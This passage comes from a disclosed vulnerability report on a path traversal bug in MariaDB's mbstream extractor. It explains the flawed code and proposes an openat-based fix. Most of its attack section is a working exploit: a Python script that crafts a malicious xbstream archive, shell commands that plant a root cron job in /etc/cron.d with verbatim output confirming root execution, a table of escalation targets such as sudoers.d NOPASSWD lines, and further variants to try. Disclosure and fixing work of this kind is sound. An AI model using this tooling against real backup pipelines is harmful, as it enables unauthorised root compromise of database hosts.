  2. The victim must run mbstream -x on the attacker-influenced archive.
  3. The privilege level of the extracting user determines the impact. Restore pipelines commonly run as root, which gives escalation to root code execution via writable drop-in directories like /etc/cron.d/. Pipelines running as the mysql user are still subject to the underlying file-creation primitive.

The vulnerability permits out-of-target file creation once an attacker-supplied archive reaches the extractor. Whether that primitive escalates to command execution depends on the privileges of the extracting user and on which writable execution paths are available on the target.

Finding it

The starting point is the local_open() function used to create files during xbstream extraction, at extra/mariabackup/ds_local.cc, lines 89-118:

C
static ds_file_t *
local_open(ds_ctxt_t *ctxt, const char *path, MY_STAT *mystat)
{
    char fullpath[FN_REFLEN];
    char dirpath[FN_REFLEN];
    size_t dirpath_len;
    ...
    fn_format(fullpath, path, ctxt->root, "", MYF(MY_RELATIVE_PATH));    // (1)

    dirname_part(dirpath, fullpath, &dirpath_len);
    if (my_mkdir(dirpath, 0777, MYF(0)) < 0 && my_errno != EEXIST) {     // (2)
        ...
    }

    fd = my_create(fullpath, 0, O_WRONLY | O_BINARY | O_EXCL | O_NOFOLLOW,
                   MYF(MY_WME));                                          // (3)
    ...
}

This is C, the language MariaDB is written in. Reading it line by line:

  • local_open(...) is the function that gets called for each piece of the archive. It receives path, the name the archive says the piece should have, and ctxt, a bundle of context that includes ctxt->root, the folder the user chose for extraction.
  • char fullpath[FN_REFLEN]; and char dirpath[FN_REFLEN]; reserve two text buffers. FN_REFLEN is a fixed maximum length for a file name.
  • fn_format(fullpath, path, ctxt->root, "", MYF(MY_RELATIVE_PATH)); builds the final destination path. It takes the archive's path and glues the chosen root folder in front of it. The flag MY_RELATIVE_PATH is meant to say "treat this as a relative path and keep it under the root".
  • dirname_part(dirpath, fullpath, &dirpath_len); copies everything except the last piece of the path into dirpath, so it can create the parent folder first.
  • my_mkdir(dirpath, 0777, MYF(0)) creates that parent folder. 0777 is the permission setting. The check my_errno != EEXIST means "if the folder already exists, that is fine, carry on".
  • my_create(fullpath, ...) finally creates the file. The flags O_WRONLY | O_BINARY | O_EXCL | O_NOFOLLOW mean: open for writing, in binary mode, refuse if the file already exists (O_EXCL), and do not follow symlinks (O_NOFOLLOW).

Three things in this function matter.

First, MY_RELATIVE_PATH is intended to constrain path underneath ctxt->root. The implementation in mysys/mf_format.c:46-52 only checks whether path is "hard", meaning absolute:

C
else if ((flag & MY_RELATIVE_PATH) && !test_if_hard_path(dev))
{
    /* Put 'dir' before the given path */
    pos = convert_dirname(dev, dir, NullS);
    strmake(pos, buff, ...);
}

In plain words: if the flag is set and the path is not "hard", the code simply puts the chosen folder in front of it. test_if_hard_path() (mysys/my_getwd.c:132) classifies as "hard" only paths starting with / or ~/. A path like ../../etc/cron.d/evil is therefore considered "relative" and is simply prepended with the target directory:

  • target dir: /tmp/restore
  • chunk path: ../../etc/cron.d/evil
  • fullpath: /tmp/restore/../../etc/cron.d/evil
  • after kernel resolves ..: /etc/cron.d/evil

That list is the heart of the bug. The program builds a path that starts inside the safe folder, but the .. pieces walk it back out again. The kernel, when it actually touches the disk, follows those .. pieces literally.

Second, no userspace normalization of .. occurs anywhere in this code path. dirname_part() strips the trailing component to derive dirpath but leaves any .. segments in place. my_mkdir() and later my_create() pass the un-normalised string straight to the kernel, which resolves .. at the syscall boundary. So dirpath literally is /tmp/restore/../../etc/cron.d/, and the kernel resolves it to /etc/cron.d/ when mkdir(2) runs. EEXIST is silently tolerated (line 106), so the call succeeds for any traversal target whose resolved parent directory already exists, which covers all the realistic exploitation targets (/etc/cron.d, /etc/profile.d, /etc/sudoers.d, and so on).

Third, my_create() opens the file with O_EXCL | O_NOFOLLOW. Existing files cannot be overwritten and symlinks are not followed, but new files can be created at the traversed location, which is sufficient for the attack.

The xbstream chunk path is read directly from the archive header in extra/mariabackup/xbstream_read.cc:144-160 and passed to local_open() at extra/mariabackup/xbstream.cc:334 (file = ds_open(ctxt->ds_ctxt, path, NULL);) without any sanitisation beyond a length cap of FN_REFLEN.

Exploitation

The proof of concept generates a minimal valid xbstream archive containing one payload chunk and one EOF chunk, both carrying a ../-prefixed path. The cron.d variant demonstrates end-to-end root code execution from a single delivered archive.

Step 1: craft the malicious archive

Save the helper script as craft_evil_xbstream.py:

Python
#!/usr/bin/env python3
"""Craft a minimal xbstream containing one payload chunk and one EOF chunk.
Usage:  craft_evil_xbstream.py <CHUNK_PATH> <PAYLOAD_BYTES> <OUTFILE>
"""
import struct, zlib, sys

CHUNK_MAGIC = b'XBSTCK01'
TYPE_PAYLOAD = b'P'
TYPE_EOF = b'E'

def make_payload_chunk(path: bytes, payload: bytes) -> bytes:
    out  = CHUNK_MAGIC
    out += b'\x00'                          # flags = 0
    out += TYPE_PAYLOAD                     # type = 'P'
    out += struct.pack('<I', len(path))     # path length (LE)
    out += path
    out += struct.pack('<Q', len(payload))  # payload length (8 bytes LE)
    out += struct.pack('<Q', 0)             # offset in source file
    out += struct.pack('<I', zlib.crc32(payload) & 0xFFFFFFFF)
    out += payload
    return out

def make_eof_chunk(path: bytes = b'eof') -> bytes:
    out  = CHUNK_MAGIC + b'\x00' + TYPE_EOF
    out += struct.pack('<I', len(path)) + path
    return out

with open(sys.argv[3], 'wb') as f:
    f.write(make_payload_chunk(sys.argv[1].encode(), sys.argv[2].encode()))
    f.write(make_eof_chunk(sys.argv[1].encode()))
print('wrote', sys.argv[3])

This is Python, a beginner-friendly programming language. Line by line:

  • The first line, #!/usr/bin/env python3, tells Linux to run the file with Python 3.
  • The triple-quoted text is a docstring, a comment describing usage: you pass a chunk path, some payload bytes and an output file name.
  • import struct, zlib, sys loads three standard modules. struct packs numbers into raw bytes, zlib computes a checksum, sys reads command-line arguments.
  • CHUNK_MAGIC = b'XBSTCK01' is the fixed eight-byte marker that every xbstream chunk starts with. The b prefix means "bytes", not text.
  • TYPE_PAYLOAD = b'P' and TYPE_EOF = b'E' are the one-byte type markers for a data chunk and for the end-of-file chunk.
  • make_payload_chunk(path, payload) builds one data chunk. It starts with the magic, adds a zero flags byte, then the type P, then the path length as a 4-byte little-endian number (<I), then the path itself, then the payload length as an 8-byte little-endian number (<Q), then a source offset of zero, then a CRC32 checksum of the payload, then the payload bytes. Little-endian is just a byte order convention; the extractor expects it.
  • make_eof_chunk(path) builds the closing chunk: magic, zero flags, type E, then a path length and a path. The default path is eof.
  • The final block opens the output file named by the third argument, writes the payload chunk and then the EOF chunk, and prints a confirmation.

Nothing in the format prevents the path from containing ...

Step 2: build the archive and extract it

The chunk path traverses to /etc/cron.d/evil; the payload is a valid cron entry that runs a command as root every minute.

Bash
python3 craft_evil_xbstream.py \
    '../../etc/cron.d/evil' \
    '* * * * * root touch /tmp/CRON_PROOF
' \
    /tmp/evil.xbstream

rm -f /tmp/CRON_PROOF /etc/cron.d/evil
mkdir -p /tmp/restore_target

mbstream -x -C /tmp/restore_target < /tmp/evil.xbstream

ls -la /etc/cron.d/evil
cat /etc/cron.d/evil

for i in $(seq 1 70); do
    if [ -f /tmp/CRON_PROOF ]; then
        echo "[+] CRON FIRED after ${i}s"
        ls -la /tmp/CRON_PROOF
        break
    fi
    sleep 1
done

This is a shell script, a list of commands typed at a Linux terminal. Step by step:

  • python3 craft_evil_xbstream.py ... runs the helper. The first argument is the malicious path ../../etc/cron.d/evil. The second is the payload, a cron line: * * * * * means "every minute", root means "run as root", and touch /tmp/CRON_PROOF creates an empty file as proof. The third argument is where to save the archive, /tmp/evil.xbstream.
  • rm -f /tmp/CRON_PROOF /etc/cron.d/evil deletes any leftovers from earlier runs, so the test starts clean. -f means "do not complain if it is missing".
  • mkdir -p /tmp/restore_target creates the folder the user will extract into. -p means "create parents if needed, and do not fail if it exists".
  • mbstream -x -C /tmp/restore_target < /tmp/evil.xbstream is the victim step. -x means extract, -C sets the target folder, and < feeds the archive in as input. This is exactly what a restore job would do.
  • ls -la /etc/cron.d/evil lists the file to show it exists, and cat /etc/cron.d/evil prints its contents.
  • The for loop counts from 1 to 70, once per second. Each second it checks whether /tmp/CRON_PROOF exists. If it does, it prints [+] CRON FIRED after ${i}s, lists the proof file and stops. Otherwise it sleeps one second and tries again. The loop exists because cron only runs jobs on minute boundaries, so the proof may take up to a minute to appear.

Verbatim output on the test VM:

Text
wrote /tmp/evil.xbstream
-rw-r----- 1 root root 37 Apr 16 10:09 /etc/cron.d/evil
* * * * * root touch /tmp/CRON_PROOF
[+] CRON FIRED after 40s
-rw-r--r-- 1 root root 0 Apr 16 10:10 /tmp/CRON_PROOF

Reading the output: the script wrote the archive; the ls line shows /etc/cron.d/evil exists, owned by root, 37 bytes long; cat shows the cron line inside it; the loop reports the job fired after 40 seconds; and the final ls shows the proof file exists, owned by root, empty. That last line is the proof that a command ran as root.

End-to-end RCE is confirmed: a single delivered .xbstream archive yielded root code execution within 60 seconds of extraction (40s in this run, depending on when extraction completes relative to cron's next minute boundary). No prior shell access on the target host is required; the attacker only needs a path to supply a malicious archive into a restore workflow.

The chain is:

  1. mbstream -x extracts the archive, traversing out of the target directory.
  2. /etc/cron.d/evil is created with the attacker's cron entry.
  3. crond re-reads /etc/cron.d/ and schedules the new job.
  4. On the next minute boundary, the job runs as root, executing touch /tmp/CRON_PROOF (or any attacker-chosen command).

Root cause

The safeguard in place, MY_RELATIVE_PATH, only checks for absolute paths. MY_RELATIVE_PATH in fn_format() delegates to test_if_hard_path(), which treats anything not starting with / or ~/ as relative and safe to prepend. A path containing .. segments passes that test, and no later stage normalizes or rejects it: dirname_part() keeps the .. segments, and my_mkdir() and my_create() hand the string to the kernel, which resolves .. at the syscall boundary. The EEXIST tolerance on mkdir means the traversal succeeds whenever the resolved parent already exists, which is the case for every realistic drop-in directory.

O_EXCL | O_NOFOLLOW limits the primitive to creating new files and blocks symlink following, but that is not enough: creating a new file in /etc/cron.d/, /etc/sudoers.d/ or /etc/profile.d/ is exactly what the attack needs.

Impact

The primitive is arbitrary new-file creation as the user running mbstream -x, anywhere on the filesystem that user is permitted to create files and where the kernel-resolved parent directory already exists. When extraction runs as root, the common case for restore operations, the primitive can be escalated to root command execution by writing a new file into a privileged drop-in directory:

Drop-in target Mechanism Time to command execution
/etc/cron.d/evil crond watches the directory and picks up new files; runs at next minute boundary ~60 seconds
/etc/sudoers.d/evil sudo evaluates new drop-ins on next invocation; attacker ALL=(ALL) NOPASSWD: ALL grants any user full sudo next sudo call
/etc/profile.d/evil.sh shell sources files in this directory on next interactive login next login
/etc/ld.so.preload loader honours this file on every subsequent exec() (only viable when the file does not already exist, since O_EXCL blocks overwrite) next process spawn
~/.ssh/authorized_keys sshd grants login if .ssh/ exists but authorized_keys does not immediately

A "drop-in directory" is a folder the system watches for extra configuration files. Put a file there and the system picks it up automatically. The table lists several such folders and what each one would do with an attacker's file. The sudoers.d line, for example, would let any user run any command as root without a password. The authorized_keys line would let the attacker log in over SSH, the encrypted remote-login protocol.

The cron.d path was verified end-to-end on the test VM (Debian 12, MariaDB 12.2.2 from the official package): a single attacker-supplied .xbstream file, processed by mbstream -x under root, yielded execution of touch /tmp/CRON_PROOF as root 40 seconds later.

The attack requires no MariaDB credentials. It requires only that the attacker influence the contents of one .xbstream file that the victim later extracts. Realistic delivery channels include:

  1. Backup-restore pipelines that pull .xbstream files from S3, NFS, HTTP or SFTP and extract on the local host. Anyone with write access to the source store can craft a malicious archive. Backup buckets are frequently lower-trust than the database itself (separate IAM, separate retention policy). S3 is Amazon's cloud storage; NFS is a shared network folder; SFTP is file transfer over SSH; IAM is the cloud permission system.
  2. Replication seeding or DR site provisioning, where a new replica receives a stream from a donor host. A compromised donor could deliver a malicious stream. A replica is a second database kept in sync; DR means disaster recovery.
  3. Cross-environment promotion: an attacker on a lower-trust environment (dev, staging) plants a malicious .xbstream in a shared backup spool that the higher-trust environment (prod) consumes during its weekly restore drill.
  4. Kubernetes operators: the mariadb-operator project runs mbstream -x -C <dir> < <file> during restore (pkg/command/backup.go:316,470), as root inside the operator pod. An attacker with write access to the backup PVC, S3 bucket or other backing store can plant a malicious archive that triggers the bug on every restore the operator performs. In this configuration the user-interaction requirement effectively disappears because the operator extracts automatically, raising CVSS to about 8.8. Kubernetes is a system for running containers; an operator is a program that automates tasks in it; a pod is one running container group; a PVC is a storage volume attached to it.
  5. Backup verification automation (cron jobs, CI, monitoring) that periodically restores backups to a sandbox host to verify integrity. The sandbox host runs mbstream -x on archives whose source the verification job inherently treats as untrusted. CI means continuous integration, an automated build and test service.

Even without cron, the underlying out-of-target file-creation primitive still permits unauthorized file creation, which can corrupt system state, poison application configuration, plant files for later execution by other code paths, or cause denial of service.

This is the same vulnerability class as Zip Slip (Snyk, 2018), which received CVE assignments and fixes across the ecosystem (CVE-2018-1002200, CVE-2018-1002201, and dozens of language-specific archive-library CVEs) at CVSS scores in the 7-9 range. A CVE is a public identifier for a known vulnerability, so people can look it up and track fixes.

Fix

The suggested fix anchors extraction to a fixed dirfd opened on ctxt->root and reaches every extracted file via openat()/mkdirat() with explicit per-component validation. This eliminates the entire class of path-resolution race conditions in addition to fixing the immediate bug. A dirfd is a handle to an open folder; openat() and mkdirat() are system calls that act relative to such a handle instead of a full path. A race condition is when two things happen at once and the program checks one state but acts on another.

The algorithm:

  1. Once, when the local datasink is created, open ctxt->root with O_RDONLY | O_DIRECTORY | O_CLOEXEC and store the fd as ctxt->rootfd. In plain words: open the chosen folder once, keep a handle to it, and never let the handle leak into child programs.
  2. For each chunk received from the xbstream parser, replace the fn_format -> my_mkdir -> my_create chain in local_open() with a path walker that:
    • splits the chunk path on /;
    • for each path component, refuses if the component is empty, ., .., or contains characters disallowed for filenames (NUL, etc.); refusing .. here is the primary fix;
    • for each non-final component, calls mkdirat(current_dirfd, component, 0755) (tolerating EEXIST) and openat(current_dirfd, component, O_RDONLY | O_DIRECTORY | O_NOFOLLOW | O_CLOEXEC), then advances current_dirfd to the new fd and closes the previous one;
    • for the final component, calls openat(current_dirfd, component, O_WRONLY | O_CREAT | O_EXCL | O_NOFOLLOW, mode) to create the leaf file.
  3. The walk starts with current_dirfd = dup(ctxt->rootfd) so each chunk extraction begins from the trusted anchor and never resolves .. against the host filesystem.

In everyday terms: instead of building a long path string and hoping it stays inside the folder, the program opens the safe folder once, then steps into it one folder name at a time, refusing any name that is .. or otherwise suspicious. It never hands the kernel a path that could climb out.

The essential properties are: openat() against a fixed rootfd, never against attacker-controlled absolute paths; one component at a time, with .. and absolute segments rejected lexically before any syscall sees them; O_NOFOLLOW on every intermediate openat() to defeat symlink-swap races where an attacker creates a symlink between the safety check and the eventual open(); and O_DIRECTORY on each intermediate so the descent fails fast if a non-directory was substituted.

As a minimum stopgap if the refactor is too invasive, a string-level filter applied to path before ds_open() prevents the obvious traversal. This is shallow, as string filters on filesystem paths have a long history of bypass tricks, but it does close the immediate vulnerability:

C
static bool path_is_safe(const char *path) {
    /* No absolute or home paths */
    if (path[0] == '/' || path[0] == '~')
        return false;
    /* No "..", "../", "/..", or any embedded "/../" */
    if (!strcmp(path, "..") || !strncmp(path, "../", 3))
        return false;
    if (strstr(path, "/../") != NULL)
        return false;
    size_t n = strlen(path);
    if (n >= 3 && !strcmp(path + n - 3, "/.."))
        return false;
    return true;
}

/* In file_entry_new() before ds_open(): */
if (!path_is_safe(path)) {
    msg("xbstream: refusing unsafe path '%s'", path);
    return NULL;
}

Line by line:

  • path_is_safe is a small function that answers "is this path acceptable?" with true or false.
  • if (path[0] == '/' || path[0] == '~') return false; rejects paths that start with a slash (absolute) or a tilde (home folder).
  • if (!strcmp(path, "..") || !strncmp(path, "../", 3)) return false; rejects a path that is exactly .. or starts with ../.
  • if (strstr(path, "/../") != NULL) return false; rejects any path with /../ in the middle.
  • The last check looks at the final three characters and rejects a path ending in /...
  • The block after the function is the call site: if the path is not safe, it logs a message and returns NULL, meaning "do not create this file".

The realpath()-on-parent approach is a middle ground: canonicalize the parent directory of the constructed fullpath (realpath() on the leaf fails because the leaf does not yet exist) and verify the canonicalized parent is still under ctxt->root. This still has TOCTOU exposure between the check and the subsequent open(), which the openat()-with-dirfd pattern avoids. Canonicalize means "turn into the one true absolute path"; TOCTOU means "time of check to time of use", the gap in which an attacker can change things.

  1. Other drop-in directories. Point the chunk path at /etc/sudoers.d/evil, /etc/profile.d/evil.sh or /etc/ld.so.preload instead of /etc/cron.d/evil. A positive result is the file appearing at the resolved path after extraction, with the expected content, and the corresponding mechanism (sudo, login shell, loader) acting on it.
  2. Non-root extraction. Run mbstream -x as the mysql user and target a directory that user can write to. A positive result is a file created outside the -C target, which confirms the primitive is independent of privilege even when escalation is not available.
  3. Deeper traversal. Use more .. segments than the target depth, for example ../../../../tmp/pwned from a shallow target. A positive result is the file landing at the resolved absolute path, showing the number of segments is not validated.
  4. Embedded traversal. Try paths such as a/../../etc/cron.d/evil or ./../etc/cron.d/evil where .. is not the leading component. A positive result is the same out-of-target creation, which tests whether any filter only checks the prefix.
  5. Existing-file targets. Attempt to write to a path that already exists, such as an existing /etc/cron.d/ entry. A negative result (creation refused) confirms the O_EXCL limit described in the report; a positive result would mean overwrite is possible and the impact is wider.
  6. Operator-driven restore. In a Kubernetes environment using mariadb-operator, plant a malicious archive in the backup store and trigger a restore. A positive result is the traversal file appearing inside the operator pod, which confirms the automatic extraction path removes the user-interaction requirement.

Glossary

  • Archive: a single file that bundles many files together, such as a .zip or .xbstream file.
  • Backup: a saved copy of data kept so it can be restored if the original is lost or damaged.
  • Canonicalize: to turn a path into its one true, fully resolved absolute form.
  • Command: an instruction that makes a computer do something.
  • Cron: the Linux scheduler that runs jobs at set times.
  • CVE: a public identifier for a known vulnerability.
  • CVSS: a 0 to 10 scoring system for the severity of a vulnerability.
  • CWE-22: the catalogue number for path traversal in the Common Weakness Enumeration.
  • Dirfd: a handle to an open folder, used by system calls that act relative to it.
  • Drop-in directory: a folder the system watches for extra configuration files and picks up automatically.
  • Extraction: reading an archive and writing its contents back out as normal files.
  • Extractor: the program that performs extraction.
  • Kernel: the core of the operating system that actually carries out file operations.
  • Little-endian: a byte order convention where the least significant byte comes first.
  • Path: the address of a file on disk, made of folder names separated by slashes.
  • Path traversal: a bug where a crafted name with .. makes a program write outside its intended folder.
  • PoC (proof of concept): a small demonstration that proves a bug is real.
  • Privilege: the level of permission a user or program has.
  • Race condition: when two things happen at once and a program checks one state but acts on another.
  • Remote code execution (RCE): making a victim's machine run code of the attacker's choosing without already having an account on it.
  • Root: the built-in Linux superuser that can do anything.
  • Symlink: a shortcut file that points at another file.
  • Syscall: the moment a program asks the kernel to do something, such as create a file.
  • TOCTOU: "time of check to time of use", the gap in which an attacker can change things between a check and the action.
  • Vulnerability: a weakness in software that someone can abuse to make it behave in an unintended way.
  • Zip Slip: the name for path traversal bugs in archive extractors.

More by riscj

View all

1 more disclosed report, best first.

More from MariaDB

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.